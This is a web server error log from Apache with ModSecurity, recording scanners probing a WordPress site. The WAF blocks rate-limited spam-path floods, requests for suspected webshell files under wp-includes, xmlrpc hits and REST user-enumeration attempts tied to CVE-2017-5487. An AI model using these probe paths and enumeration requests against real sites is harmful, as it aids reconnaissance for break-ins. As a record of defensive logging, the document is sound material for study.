[Wed Jan 28 04:46:17.880745 2026] [:error] [pid 17425:tid 17473] [client 79.137.67.86:48232] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXkkGarcODKH1Dl7aZAGSwAAAEs"]
[Wed Jan 28 04:46:20.255399 2026] [:error] [pid 17426:tid 17507] [client 79.137.67.86:48240] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXkkHE8zvf_03BnziRfhOAAAAJI"]
[Wed Jan 28 04:46:22.699530 2026] [:error] [pid 17426:tid 17502] [client 79.137.67.86:48242] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg168%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXkkHk8zvf_03BnziRfhOwAAAI0"]
[Wed Jan 28 04:46:24.841354 2026] [:error] [pid 17424:tid 17456] [client 79.137.67.86:48254] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo.aspx"] [unique_id "aXkkIGRvtDRvGDe-pIsqzQAAABc"]
[Wed Jan 28 04:46:27.422527 2026] [:error] [pid 17424:tid 17445] [client 79.137.67.86:41886] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo168.aspx"] [unique_id "aXkkI2RvtDRvGDe-pIsq0gAAAAw"]
[Wed Jan 28 04:46:29.988222 2026] [:error] [pid 17535:tid 17554] [client 79.137.67.86:41898] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXkkJa3QiSMgVscnN5L20AAAANA"]
[Wed Jan 28 04:46:32.468059 2026] [:error] [pid 17424:tid 17456] [client 79.137.67.86:41908] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXkkKGRvtDRvGDe-pIsq3gAAABc"]
[Wed Jan 28 04:46:34.909639 2026] [:error] [pid 17425:tid 17472] [client 79.137.67.86:41910] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%A5%E0%B8%81.aspx"] [unique_id "aXkkKqrcODKH1Dl7aZAGXQAAAEo"]
[Wed Jan 28 04:46:36.976415 2026] [:error] [pid 17426:tid 17509] [client 79.137.67.86:41920] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXkkLE8zvf_03BnziRfhTwAAAJQ"]
[Wed Jan 28 04:46:39.243435 2026] [:error] [pid 17426:tid 17495] [client 79.137.67.86:48614] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXkkL08zvf_03BnziRfhUwAAAIY"]
[Wed Jan 28 04:46:41.344617 2026] [:error] [pid 17425:tid 17479] [client 79.137.67.86:48616] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXkkMarcODKH1Dl7aZAGaQAAAFE"]
[Wed Jan 28 04:46:43.987238 2026] [:error] [pid 17424:tid 17456] [client 79.137.67.86:48624] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXkkM2RvtDRvGDe-pIsq5wAAABc"]
[Wed Jan 28 04:46:46.140961 2026] [:error] [pid 17424:tid 17454] [client 79.137.67.86:48634] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXkkNmRvtDRvGDe-pIsq7AAAABU"]
[Wed Jan 28 04:46:48.297873 2026] [:error] [pid 17426:tid 17507] [client 79.137.67.86:39486] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1%20pg%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXkkOE8zvf_03BnziRfhYAAAAJI"]
[Wed Jan 28 04:46:50.598953 2026] [:error] [pid 17535:tid 17544] [client 79.137.67.86:39498] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXkkOq3QiSMgVscnN5L3AAAAAMY"]
[Wed Jan 28 04:46:52.688093 2026] [:error] [pid 17535:tid 17561] [client 79.137.67.86:39500] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%97%E0%B9%8D%E0%B8%B2%20300%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20100.aspx"] [unique_id "aXkkPK3QiSMgVscnN5L3BgAAANc"]
[Wed Jan 28 04:46:54.768772 2026] [:error] [pid 17535:tid 17551] [client 79.137.67.86:39516] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20wallet.aspx"] [unique_id "aXkkPq3QiSMgVscnN5L3CwAAAM0"]
[Wed Jan 28 04:46:56.782245 2026] [:error] [pid 17424:tid 17438] [client 79.137.67.86:39526] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXkkQGRvtDRvGDe-pIsrAQAAAAU"]
[Wed Jan 28 04:46:59.031314 2026] [:error] [pid 17424:tid 17453] [client 79.137.67.86:58208] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aXkkQ2RvtDRvGDe-pIsrBAAAABQ"]
[Wed Jan 28 04:47:01.450533 2026] [:error] [pid 17535:tid 17557] [client 79.137.67.86:58224] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/777slot.aspx"] [unique_id "aXkkRa3QiSMgVscnN5L3GwAAANM"]
[Wed Jan 28 04:47:03.713475 2026] [:error] [pid 17424:tid 17456] [client 79.137.67.86:58226] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aXkkR2RvtDRvGDe-pIsrEgAAABc"]
[Wed Jan 28 05:15:49.726393 2026] [:error] [pid 64842:tid 64853] [client 45.154.138.27:57871] [client 45.154.138.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aXkrBVuAAQZ5AN_SnDbyMwAAAUk"]
[Wed Jan 28 05:15:49.853668 2026] [:error] [pid 64842:tid 64868] [client 45.195.75.44:36566] [client 45.195.75.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.195.75.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXkrBVuAAQZ5AN_SnDbyNQAAAVg"]
[Wed Jan 28 05:16:00.618728 2026] [:error] [pid 17425:tid 17475] [client 45.154.138.4:46755] [client 45.154.138.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aXkrEKrcODKH1Dl7aZAe9wAAAE0"]
[Wed Jan 28 05:17:03.032718 2026] [:error] [pid 17426:tid 17509] [client 45.154.138.5:42043] [client 45.154.138.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aXkrT08zvf_03BnziRf6HAAAAJQ"]
[Wed Jan 28 05:17:23.095767 2026] [:error] [pid 2454:tid 2482] [client 45.154.138.22:25165] [client 45.154.138.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aXkrY5vv4I21Ywd7NNbmcQAAAZg"]
[Wed Jan 28 05:17:24.016898 2026] [:error] [pid 17424:tid 17449] [client 45.154.138.45:22651] [client 45.154.138.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/chosen.php"] [unique_id "aXkrZGRvtDRvGDe-pItE_gAAABA"]
[Wed Jan 28 05:17:24.933155 2026] [:error] [pid 58254:tid 58275] [client 45.154.138.15:48417] [client 45.154.138.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aXkrZPF8nSyBg9wOsa8P3gAAARM"]
[Wed Jan 28 05:17:39.166494 2026] [:error] [pid 2454:tid 2476] [client 45.154.138.13:62637] [client 45.154.138.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aXkrc5vv4I21Ywd7NNbnlwAAAZI"]
[Wed Jan 28 05:17:53.562332 2026] [:error] [pid 58254:tid 58260] [client 45.154.138.2:58997] [client 45.154.138.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aXkrgfF8nSyBg9wOsa8RTwAAAQQ"]
[Wed Jan 28 05:18:37.689819 2026] [autoindex:error] [pid 17424:tid 17433] [client 45.154.138.48:33367] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:19.081149 2026] [autoindex:error] [pid 17424:tid 17457] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:30.064422 2026] [autoindex:error] [pid 17424:tid 17449] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:30.569265 2026] [autoindex:error] [pid 17424:tid 17456] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:31.102955 2026] [autoindex:error] [pid 17424:tid 17448] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:31.574860 2026] [autoindex:error] [pid 17424:tid 17457] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:32.042706 2026] [autoindex:error] [pid 17424:tid 17454] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:33.047249 2026] [autoindex:error] [pid 17424:tid 17447] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:33.520489 2026] [autoindex:error] [pid 17424:tid 17437] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:34.016639 2026] [autoindex:error] [pid 17424:tid 17445] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:19:34.489569 2026] [autoindex:error] [pid 17424:tid 17452] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:20:26.683423 2026] [autoindex:error] [pid 17424:tid 17457] [client 45.154.138.48:33367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:41:00.288494 2026] [:error] [pid 2454:tid 2477] [client 5.189.158.12:42862] [client 5.189.158.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXkw7Jvv4I21Ywd7NNYiJwAAAZM"]
[Wed Jan 28 05:43:12.965386 2026] [:error] [pid 17424:tid 17443] [client 212.227.13.214:47928] [client 212.227.13.214] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXkxcGRvtDRvGDe-pItxVgAAAAo"]
[Wed Jan 28 05:46:00.953441 2026] [autoindex:error] [pid 2454:tid 2461] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:01.083829 2026] [autoindex:error] [pid 2454:tid 2470] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:01.354564 2026] [autoindex:error] [pid 2454:tid 2472] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:01.492044 2026] [autoindex:error] [pid 2454:tid 2462] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:01.661569 2026] [autoindex:error] [pid 2454:tid 2467] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
